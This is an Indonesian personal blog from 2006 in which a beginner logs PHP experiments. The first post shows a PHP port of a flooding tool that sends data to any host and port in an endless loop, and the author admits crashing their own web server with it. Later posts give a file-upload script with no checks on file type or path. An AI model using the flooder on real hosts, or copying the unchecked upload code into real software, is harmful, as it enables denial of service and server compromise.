April 27, 2006

bego nya gwe

 

qe qe qe .. salah satu kebodohan gwe yang sangat fatal adalah coba2.seperti kemaren gwe coba2 explo tembak.c yg di tulis make php, kurang lebihnya seperti ini:

<body>
<form method=post>
host : <input type=text name=host value="<?echo($host)?>"><br>
port : <input type=text name=port value="<?echo($port)?>"><br>
<input type=submit value=hajarrrr>
<?
set_time_limit(3600);
$peluru="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
if (empty($host) || empty($host)){echo("isi aje.. host ma portnya ;) ");}
else {
$fp = fsockopen ("$host", $port, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br>\n";
echo("dodol.. ga konek tuh ah…");
}
else {
echo ("ciaaaaaatzzzzzzzzzz….<br>");
for(;;)
{
fputs ($fp, $peluru);
}
echo ("sips.. bos.. dah matek orangnye.. ");
}
}
?>

</body>

 

hohohohoo.. nah nah.. source apa hayo ? qe qe qe .looping forever.. wahahahahahhaaa… ngabis2in bandwith gwe aje.. setannnn!! emoticon.gara2 script dodol ini gwe cobain di tempat gwe,akhirnya port 80 gwe dengan suksesnya meninggal dunia.karena gwe nembaknya di 80 wakakakakakka… goblookkk…

 

April 25, 2006

senangnyah !

akhirnya,ngerti juga gwe.hehehe…

2 hari ngoprek2 di google tentang mail() sama upload akhirnya skarang tau juga untuk yg upload :D .tapi untuk yang mail() gwe blom ketemu :( .

——————-uploadgwe1.php————————- 

<body>
<form name="form1" method="post" action="uploadgwe2.php">
<p>Masukkan jumlah file yang ingin di upload Max =9</p>
<p><input name="uploadneed" type="text" id="uploadneed" maxlength="1"></p>
<p><input type="submit" name="submit" value="submit"></p>
</form>

</body>

————————- cut ————————- 

————————- uploadgwe2.php————————- 

 <form name="form1" enctype="multipart/form-data" method="post" action="pretpret.php">
 <p>
  <?
   $uploadneed = $_POST[’uploadneed’];
   for($x=0;$x<$uploadneed;$x++)
     {
  ?>
      <input name="uploadfile<? echo $x; ?>" type="file" id="uploadfile <? echo $x; ?>">
 
 </p>
 <?
 }
 ?>
 <p> <input name="uploadneed" type="hidden" value="<? echo $uploadneed; ?>">
 <input type="submit" name="submit" value="submit"></p>
 
</form>

 ————————-  cut ————————-

 ————————- prepret.php————————-

<body>
<?
$uploadneed = $_POST[’uploadneed’];
for ($x=0;$x<$uploadneed;$x++)
 {
  $file_name=$_FILES[’uploadfile’.$x][’name’];
  $file_name = stripslashes($file_name);
  $file_name = str_replace("’","",$file_name);
 
  $copy = copy($_FILES[’uploadfile’.$x][’tmp_name’],$file_name);
 
  if ($copy)
   {
     echo "$file_name <—- pret pret..berhasil di upload neh crut.. <br>";
   }else{
  
    echo "$file_name  <—- pret pret..cek lagi dong bos ah…..<br>";
        }
}
?>

</body>

 

————————————————————— 

kurang lebihnya seperti itu :D  

 nb: diambil dari berbagai referensi :p ..

April 23, 2006

so fucking tired

wagh ! capek pisan banget euy ni hari.

nyari2 tutorial buat ngutak ngatik file (upload,create folder,delete folder,rename folder)puyeng gwe,gimana ntar mixingnya.untuk create folder udah bisa,nah untuk delete sama rename gwe puyeng.untuk yg upload lebih puyeng lagi gwe,soalnya begitu gwe upload filenya ke upload tapi… untuk kesekian kalinya aneh.filenya kok ga ada????? herman !

 

buat bikin direktori mah gini doang bisa :

<body> 

<form method="post" action="pakpos2.php">
<input type="text" name="satu">
<input type="submit" name="Submit" value="Submit">
</form>

 </body>

——————–cut—————–

pakpos2.php 

————-

<body>
<?
if (mkdir($satu,0701))
 {
   echo "direktori $satu udah kebikin";
 }
 else
  {
   echo "direktori kga kebikin bos,..cek lagi dah ah..";
  }

?>
</body>

nah..skarang gwe lagi puyeng buat rename , delete..dan bla bla bla bla…ugh..

SMANGATTTT PAKKK!!!!!!!!!!!!!!!!  

 

 

 

 

April 22, 2006

mail() suck

today i’ve send email to gordon for checking the email server in usa.bah ! it’s so terible,i’ve so give up for  check and check again in my code.there’s no fault anything in my code,but why when it’s running i didn’t receive anything in my email inbox ????

ugh…damn it.

well i hope tomorrow i can solved this problem emoticon

April 21, 2006

mail..oh mail

seharian gwe otak atik php tapi kga ketemu juga dimandre masalah nya kok gwe ngirim2 email kga bisa2

<?
$to =’jasmin@xxxxxxxx.com’;
$subject=’tesssssssssssss’;
$message=’tesssss email ‘;

if (@mail($to,$subject,$message))
 {
  echo ("<p>Mail sent successfully</p>");
 }else{
 echo ("<p>Mail could not be sent</p>");
     }
 
 
?>

 

bleh…

begitu di run sih bisa..email ke kirimm,tapi begitu di cek di inbok.. eh kga ada email blas.. setan alas !! ugh..bt banget gwe.

salah dimane sih nih???